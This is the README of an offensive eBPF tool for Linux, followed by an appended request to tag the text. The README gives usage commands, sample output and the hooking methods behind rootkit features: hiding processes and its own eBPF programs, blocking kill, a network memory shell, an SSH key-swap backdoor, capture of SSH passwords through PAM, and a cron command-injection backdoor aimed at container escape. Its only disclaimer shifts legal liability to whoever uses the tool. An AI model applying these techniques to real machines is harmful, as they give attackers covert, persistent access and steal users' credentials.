base on Exploit tool implemented using ebpf. # eBPFeXPLOIT
eBPFeXPLOIT is a penetration testing tool based on eBPF technology.
**Current Features:**
- **Hide its own PID and up to four other specified PIDs, with a maximum of five PIDs hidden for ease of processing.**
- **eBPF memory horse (MemoryShell).**
- **Block the Kill command. Processes with specified PIDs will not be terminated by Kill.**
- **Hide injected eBPF programs, Maps, and Links in the kernel.**
- **ssh backdoor**
- **catch the username and password of SSH**
- **cron backdoor (can be used for container escape)**
[中文版本(Chinese version)](./README.zh-cn.md)
## Hide Pid
Hide up to four target PIDs and its own PID, totaling five PIDs. By default, it hides its own PID.
```bash
go generate && go build -o main && ./main -pid 263959,269942
echo $$
263959
ps aux | grep -i "263959"
root 277863 0.0 0.0 3440 1920 pts/2 S+ 13:51 0:00 grep --color=auto -i 263959
```
The principle of hiding PIDs lies in the `getdents64` system call. In Linux, the `getdents64` system call reads file information in a directory, and commands like `ps` use `getdents64` to obtain process-related information from files in the `/proc/` directory.
The second parameter of `ctx` is `linux_dirent64 *dirp`, structured as follows:
```c
struct linux_dirent64 {
u64 d_ino; /* 64-bit inode number */
u64 d_off; /* 64-bit offset to next structure */
unsigned short d_reclen; /* Size of this dirent */
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */ };
```
It represents the entries in the directory that `getdents64` will access. The first two fields are less significant, the third indicates the length of the current `linux_dirent64`, and the fifth `d_name` is the filename of the target, e.g., for `pid` 200, it would be `/proc/200`, so `d_name` is 200.
By hooking this process and modifying the `d_reclen` of the previous `linux_dirent64` to `d_reclen_previous + d_reclen`, the target PID's file can be skipped, thus hiding the PID.
However, due to complex logic, hiding too many PIDs can cause the verifier to fail, so including the program itself, a maximum of five can be hidden.
## ebpf-MemoryShell
It can implement basic MemoryShell functionality, but there are a series of issues:
- Temporary lack of handling for fragmented transmission.
- My local Linux VM has issues, unable to properly configure tc to only receive egress traffic, resulting in tc receiving both egress and ingress traffic, which relatively decreases performance.
- Command execution is in user space.
- Command execution must be placed in the last parameter of get, as otherwise, it's too complex for eBPF kernel-side processing and fails to pass the verifier.
- The original HTTP response byte count must be larger than the command execution result byte count for complete echo back. I tried expanding the HTTP response packet. It's possible to use `bpf_skb_change_tail` for expansion, but it's also necessary to modify the `Content-Length` value in the HTTP response header, which is very complex and fails to pass the verifier.
In terms of network packet processing performance, XDP is superior to TC, which is superior to hooking syscalls. Therefore, XDP is always the first choice, but XDP can only receive ingress traffic, while TC can receive egress traffic, so they are processed separately.
XDP sends the received commands to user space for execution, and then the user space sends the execution results back to TC, writing the results into the HTTP response. If the execution results are to be fully echoed back, an HTTP response with more bytes than the result is generally easy to find.
Although the `dexec` option is provided, the functionality of `dexec=0` has not yet been implemented.
```bash
./main --help
Usage of ./main:
-dexec string
directly exec or not (default "-1")
-ifname string
interface xdp and tc will attach
-pid string
pid to hide (default "-1")
./main -ifname lo -dexec 1
```
![image-20240109131903910](README_EN.assets/image-20240109131903910.png)
## Prevent Kill
Even if the PID is hidden, if the operations team still somehow knows our program's PID, we need to prevent the Kill command from terminating our process.
First, hook `lsm/task_kill`, and when encountering a protected PID, `return -EPERM` to prevent subsequent execution.
Also, hook `kretprobe/sys_kill`, and when the syscall returns, modify the return value to `-ESRCH` to pretend the process does not exist:
```bash
go build -o main && ./main
2024/01/06 19:19:40 current pid:398235
2024/01/06 19:19:40 Waiting for events..
kill -9 398235
bash: kill: (398235) - No such process
```
I considered using kprobe or tp, but there was no good way to prevent subsequent processing at the time of entry, so I had to use lsm, but it doesn't seem like the best method.
I considered directly overwriting the return in kprobe, but I always had trouble correctly getting the PID parameter without using the `BPF_KPROBE` macro. It might be a problem with my VM, as I've been developing under a very high version of the Linux kernel and on arm64 architecture. It seems there are significant issues, and I need to find a way to develop remotely on an amd64 architecture Linux (since I'm developing eBPF on a Mac VM).
## Hide eBPF Program
Although the user-space program's PID is hidden, commands like `bpftool prog list` can still discover our eBPF program injected into the kernel. However, considering that most Linux systems won't install `bpftool`, and operations might not even know what eBPF is, the likelihood of the injected eBPF program being discovered is very low. Therefore, this part of the process is relatively simple. Refer to the content in the book "Learning eBPF". Viewing progs or maps generally goes through the following process:
```bash
[0000ffffb38e1aa8] bpf(BPF_PROG_GET_NEXT_ID, {start_id=0, next_id=0, open_flags=0}, 12) = 0
[0000ffffb38e1aa8] bpf(BPF_PROG_GET_FD_BY_ID, {prog_id=2, next_id=0, open_flags=0}, 12) = 3
[0000ffffb38e1aa8] bpf(BPF_OBJ_GET_INFO_BY_FD, {info={bpf_fd=3, info_len=232, info=0xffffc95ef490}}, 16) = 0
```
First, use `BPF_PROG_GET_NEXT_ID` to get the ID, then `BPF_PROG_GET_FD_BY_ID` to get the fd, and finally `BPF_OBJ_GET_INFO_BY_FD` to get the related obj. This process repeats until `BPF_PROG_GET_NEXT_ID` can't find a related ID.
Therefore, directly hook the bpf syscall, and when encountering `BPF_PROG_GET_NEXT_ID`, `BPF_MAP_GET_NEXT_ID`, and `BPF_LINK_GET_NEXT_ID`, process accordingly.
## ssh backdoor
The ssh backdoor is based on the following principle:
1. Generate a key pair: First, generate a pair of keys on the client side, including a public key and a private key. Key pairs are usually generated using RSA or DSA algorithms. The private key should be kept confidential, while the public key can be distributed where needed;
2. Distribute the public key: Copy the public key generated by the client to the `~/.ssh/authorized_keys` file on the target host where passwordless login is to be enabled. This file stores a list of public keys that are allowed to access the host;
3. Connection authentication: When the client attempts to connect to the target host, the target host sends a random challenge to the client. The client uses its private key to sign the challenge and sends the signature back to the target host;
4. Verify the signature: The target host uses the previously stored client public key to verify the signature sent by the client. If the signature verification is successful, the target host confirms the identity of the client and allows passwordless login.
When ssh login in with a key, it reads the public key in the `authorised_keys` file. A hidden ssh backdoor can be achieved by using the eBPF program to hook systems such as openat and read, and replacing the public key in `authorized_keys` with our own.
The program fills the target `authorised_keys` with a lot of spaces, considering that there may not be enough bytes inside the previous `authorized_keys`.
## Catch Ssh Username and Password
hook `pam_get_authtok` to catch ssh username and password. Requires an absolute path of `libpam.so.0`.
## Cron backdoor
Idea from [Cloud Native Security Attack and Defence | Analysis and Practice of Container Escape Techniques Using eBPF](https://mp.weixin.qq.com/s/Psqy3X3VdUPga7f2cnct1g)
Normal use can create a hard-to-discover cron backdoor that enables container escape in a container environment with `CAP_SYS_ADMIN` privileges.
Looking at the cron process via `strace` reveals that `newfstatat` is called three times to read `/etc/crontab`, the third time with `newfstatat(5, "", {st_mode=S_IFREG|0644, st_size=1136, ...} , AT_EMPTY_PATH) = 0`, so the code also needs to pay attention to the judgement of `dtd`.
```bash
strace -p 1042
strace: Process 1042 attached
restart_syscall(<... resuming interrupted io_setup ...>) = 0
newfstatat(AT_FDCWD, "/etc/localtime", {st_mode=S_IFREG|0644, st_size=561, ...}, 0) = 0
newfstatat(AT_FDCWD, "crontabs", {st_mode=S_IFDIR|S_ISVTX|0730, st_size=4096, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/crontab", {st_mode=S_IFREG|0644, st_size=1136, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/cron.d", {st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/cron.d/anacron", {st_mode=S_IFREG|0644, st_size=219, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/cron.d/e2scrub_all", {st_mode=S_IFREG|0644, st_size=202, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/crontab", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_SYMLINK_NOFOLLOW) = 0
openat(AT_FDCWD, "/etc/crontab", O_RDONLY) = 5
newfstatat(5, "", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_EMPTY_PATH) = 0
getpid() = 1042
getpid() = 1042
sendto(4, "<78>Jan 14 18:50:01 cron[1042]: "..., 64, MSG_NOSIGNAL, NULL, 0) = 64
fcntl(5, F_GETFL) = 0x20000 (flags O_RDONLY|O_LARGEFILE)
lseek(5, 0, SEEK_CUR) = 0
newfstatat(5, "", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_EMPTY_PATH) = 0
read(5, "* * * * * root /bin/sh -c \"curl "..., 4096) = 1136
lseek(5, 0, SEEK_SET) = 0
read(5, "* * * * * root /bin/sh -c \"curl "..., 4096) = 1136
....
```
By hooking the process in question, it is possible to inject malicious commands into `/etc/crontab` every minute when cron checks it.
The backdoor is targeted at `vixie-cron`, no other version of `cron` has been tested.
## How to Use
```bash
./main --help
Usage of ./main:
-catchssh string
catch the ssh username and password or not (default "-1")
-croncmd string
the cmd that cron will execute.If you want to use quotes, use single quotes
-dexec string
directly exec or not (default "-1")
-hideebpf string
hide or not hide the ebpf prog ,map and link (default "1")
-ifname string
interface xdp and tc will attach
-pampath string
the absolute path of libpam.so.0,maybe need 'find / -name libpam.so.0'
-pid string
pid to hide (default "-1")
-selfpubkey string
the ssh public key file path we generate,such as ./id_rsa.pub
-targetpubkey string
the ssh public key path the user we want to login,such as /root/.ssh/authorized_keys
```
### Hide PIDs
by default, the program's own PID is hidden:
```bash
./main -pid 263959,269942
```
### Memory shell
```bash
./main -ifname lo -dexec 1
```
`ifname` specifies the network interface, set `dexec` to 1.If the program encounters issues on tc and is not cleared, you can manually clear it:
```bash
tc qdisc del dev lo clsact
```
Replace 'lo' with your network interface as needed.
### Prevent Kill
default functionality, for PIDs
```bash
go build -o main && ./main
2024/01/06 19:19:40 current pid:398235
2024/01/06 19:19:40 Waiting for events..
kill -9 398235
bash: kill: (398235) - No such process
```
### Hide eBPF program
hidden by default
```bash
go build -o main && ./main
# All results are empty
bpftool prog list
bpftool map list
bpftool link list
```
### ssh backdoor
```bash
./main -selfpubkey ./id_rsa.pub -targetpubkey /home/parallels/.ssh/authorized_keys
13:24:47 › ssh -i ./id_rsa
[email protected]
[email protected]'s password:
13:26:29 › ssh -i ./id_rsa
[email protected]
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.5.13-060513-generic aarch64)
```
### catch the username and password of ssh
```bash
find / -name libpam.so.0
./main -catchssh 1 -pampath /usr/lib/aarch64-linux-gnu/libpam.so.0
2024/01/12 13:39:23 current pid:97335
2024/01/12 13:39:24 Waiting for events..
2024/01/12 13:39:28 =================================================================
2024/01/12 13:39:28 [+]receive SSH Username:feng
2024/01/12 13:39:28 [+]receive SSH Password:qweqweqeqweqw
2024/01/12 13:39:28 =================================================================
```
```bash
13:39:07 › ssh
[email protected]
[email protected]'s password:
Permission denied, please try again.
```
### cron backdoor
Use single quotes if you want to put quotes in the executed command.
```bash
./main -croncmd "curl http://127.0.0.1:39123/"
2024/01/14 18:55:38 current pid:295190
2024/01/14 18:55:39 Waiting for events..
python3 -m http.server 39123
Serving HTTP on 0.0.0.0 port 39123 (http://0.0.0.0:39123/) ...
127.0.0.1 - - [14/Jan/2024 18:56:01] "GET / HTTP/1.1" 200 -
```
The current program only provides simple functionality, so after starting the program, press `ctrl+c` to stop it.
The program uses newer features like `BPF_MAP_TYPE_RINGBUF`. I didn't check the minimum version requirements in detail, but according to GPT, it's roughly Kernel 5.8 and above.
So, it should work on Linux kernels version 5.8 and above. **Additionally, the program needs to be run with root privileges.**
The executable is cross-compiled with Go, theoretically executable on other architectures? This is my kernel version:
```bash
uname -a
Linux ubuntu-linux-22-04-02-desktop 6.5.13-060513-generic #202311281736 SMP PREEMPT_DYNAMIC Tue Nov 28 18:10:14 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux
```
## Manual Compilation
**The compilation process below may have some issues, prioritize building according to the compilation process in `.github/workflows/go.yml` (github actions).**
Due to the use of architecture-specific macros in the code, users need to compile it themselves according to the architecture they are using.
The compilation environment needs to be set up according to [Getting Started - ebpf-go Documentation](https://ebpf-go.dev/guides/getting-started/), as Go is used in the user space. Additionally, the basic environment for compiling eBPF needs to be installed.
It is best to follow the instructions in the article for installation. I will only mention some steps below, and there might be omissions.
Firstly, for the basic eBPF compilation environment, you need to install clang, preferably between versions clang11 and clang14. Versions within this range have been tested and are error-free.
Then, install `libbpf`. For Debian/Ubuntu, you need `libbpf-dev`. On Fedora, it is `libbpf-devel`. If the installation fails, you can manually compile `libbpf`:
```bash
git clone https://github.com/libbpf/libbpf.git
cd libbpf
cd src
sudo make
sudo make install
```
Next, install the Linux kernel headers. On `AMD64 Debian/Ubuntu`, install `linux-headers-amd64`. On `Fedora`, install `kernel-devel`. On Debian, you might also need `ln -sf /usr/include/asm-generic/ /usr/include/`, otherwise, you may not find `<asm/types.h>`.
The `vmlinux.h` in the `ebpf` directory can be generated by yourself, as my `vmlinux.h` was generated under the arm64 architecture and may not work on `amd64`. First, install `bpftool`:
```bash
sudo apt install -y linux-tools-$(uname -r)
```
If you cannot install it, you can compile it from the source:
```bash
sudo apt install build-essential \
libelf-dev \
libz-dev \
libcap-dev \
binutils-dev \
pkg-config
git clone https://github.com/libbpf/bpftool.git
cd bpftool
git submodule update --init
cd src
sudo make
sudo make install
bpftool v -p
{
"version": "7.3.0",
"libbpf_version": "1.3",
"features": {
"libbfd": false,
"llvm": true,
"skeletons": true,
"bootstrap": false
}
}
```
Then generate `vmlinux.h`:
```bash
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
```
If you want to install the complete eBPF environment from scratch, you can refer to [How to Set Up an eBPF Development Environment on Ubuntu | YaoYao’s Blog](https://yaoyao.io/posts/how-to-setup-ebpf-env-on-ubuntu)
After setting up the compilation environment, the next step is to compile the source code. First, you need to install Go dependencies:
```bash
go mod download
```
Then compile the source code. First, modify `gen.go`, changing the `-target` to `arm64` or `amd64`.
Then you can compile:
```bash
go generate
go build -o eBPFeXPLOIT
```
## TODO
- Currently, everything does not consider pinning the program and Map to the fs, only to provide convenient functionality. Once the overall functionality is almost implemented, pinning might be considered.
- **Compatibility with lower versions of Linux. I used many new features while writing the code, leading to incompatibility with lower versions of Linux kernels.**
- **Add container escape functionality module.**
## Disclaimer
If you commit any unlawful acts in the course of using the Tool, you are responsible for the consequences and we will not be liable for any legal and joint liability.
Unless you have fully read, fully understand and accept all the terms of this Agreement, please do not install and use the Tool. Your use of the behaviour or your acceptance of this Agreement in any other express or implied manner is deemed to have read and agreed to the constraints of this Agreement.
## References
[[译]使用os/exec执行命令](https://colobu.com/2017/06/19/advanced-command-execution-in-Go-with-os-exec/)
[bpf-developer-tutorial/src/23-http/README.md at main · eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial/blob/main/src/23-http/README.md)
[使用cilium/ebpf编译并加载TC BPF代码](https://d0u9.io/use-cilium-ebpf-to-compile-and-load-tc-bpf-code/)
[Gui774ume/ebpfkit: ebpfkit is a rootkit powered by eBPF](https://github.com/Gui774ume/ebpfkit)
[pathtofile/bad-bpf: A collection of eBPF programs demonstrating bad behavior, presented at DEF CON 29](https://github.com/pathtofile/bad-bpf)
[Emulating Bad Networks](https://samwho.dev/blog/emulating-bad-networks/)
[Routing Family Netlink Library (libnl-route)](https://www.infradead.org/~tgr/libnl/doc/route.html#route_tc)
[Attaching EBPF program returns no such file or directory · Issue #32 · florianl/go-tc](https://github.com/florianl/go-tc/issues/32)
[tc package - github.com/florianl/go-tc - Go Packages](https://pkg.go.dev/github.com/florianl/go-tc#section-readme)
[绿色记忆:eBPF学习笔记](https://blog.gmem.cc/ebpf)
[Esonhugh/sshd_backdoor: /root/.ssh/authorized_keys evil file watchdog with ebpf tracepoint hook.](https://github.com/Esonhugh/sshd_backdoor)
[基于eBPF的SSH后门 - 先知社区](https://xz.aliyun.com/t/10564?time__1311=mq+xBDyGDQG%3DKGKDsdohx5%3DGQGOQDcincoD&alichlgref=https://www.google.com/)
[复现基于eBPF实现的Docker逃逸](https://drivertom.blogspot.com/2022/01/ebpfdocker.html)
[云原生安全攻防|使用eBPF逃逸容器技术分析与实践](https://mp.weixin.qq.com/s/Psqy3X3VdUPga7f2cnct1g)
", Assign "at most 3 tags" to the expected json: {"id":"6968","tags":[]} "only from the tags list I provide: [{"id":77,"name":"3d"},{"id":89,"name":"agent"},{"id":17,"name":"ai"},{"id":54,"name":"algorithm"},{"id":24,"name":"api"},{"id":44,"name":"authentication"},{"id":3,"name":"aws"},{"id":27,"name":"backend"},{"id":60,"name":"benchmark"},{"id":72,"name":"best-practices"},{"id":39,"name":"bitcoin"},{"id":37,"name":"blockchain"},{"id":1,"name":"blog"},{"id":45,"name":"bundler"},{"id":58,"name":"cache"},{"id":21,"name":"chat"},{"id":49,"name":"cicd"},{"id":4,"name":"cli"},{"id":64,"name":"cloud-native"},{"id":48,"name":"cms"},{"id":61,"name":"compiler"},{"id":68,"name":"containerization"},{"id":92,"name":"crm"},{"id":34,"name":"data"},{"id":47,"name":"database"},{"id":8,"name":"declarative-gui "},{"id":9,"name":"deploy-tool"},{"id":53,"name":"desktop-app"},{"id":6,"name":"dev-exp-lib"},{"id":59,"name":"dev-tool"},{"id":13,"name":"ecommerce"},{"id":26,"name":"editor"},{"id":66,"name":"emulator"},{"id":62,"name":"filesystem"},{"id":80,"name":"finance"},{"id":15,"name":"firmware"},{"id":73,"name":"for-fun"},{"id":2,"name":"framework"},{"id":11,"name":"frontend"},{"id":22,"name":"game"},{"id":81,"name":"game-engine "},{"id":23,"name":"graphql"},{"id":84,"name":"gui"},{"id":91,"name":"http"},{"id":5,"name":"http-client"},{"id":51,"name":"iac"},{"id":30,"name":"ide"},{"id":78,"name":"iot"},{"id":40,"name":"json"},{"id":83,"name":"julian"},{"id":38,"name":"k8s"},{"id":31,"name":"language"},{"id":10,"name":"learning-resource"},{"id":33,"name":"lib"},{"id":41,"name":"linter"},{"id":28,"name":"lms"},{"id":16,"name":"logging"},{"id":76,"name":"low-code"},{"id":90,"name":"message-queue"},{"id":42,"name":"mobile-app"},{"id":18,"name":"monitoring"},{"id":36,"name":"networking"},{"id":7,"name":"node-version"},{"id":55,"name":"nosql"},{"id":57,"name":"observability"},{"id":46,"name":"orm"},{"id":52,"name":"os"},{"id":14,"name":"parser"},{"id":74,"name":"react"},{"id":82,"name":"real-time"},{"id":56,"name":"robot"},{"id":65,"name":"runtime"},{"id":32,"name":"sdk"},{"id":71,"name":"search"},{"id":63,"name":"secrets"},{"id":25,"name":"security"},{"id":85,"name":"server"},{"id":86,"name":"serverless"},{"id":70,"name":"storage"},{"id":75,"name":"system-design"},{"id":79,"name":"terminal"},{"id":29,"name":"testing"},{"id":12,"name":"ui"},{"id":50,"name":"ux"},{"id":88,"name":"video"},{"id":20,"name":"web-app"},{"id":35,"name":"web-server"},{"id":43,"name":"webassembly"},{"id":69,"name":"workflow"},{"id":87,"name":"yaml"}]" returns me the "expected json"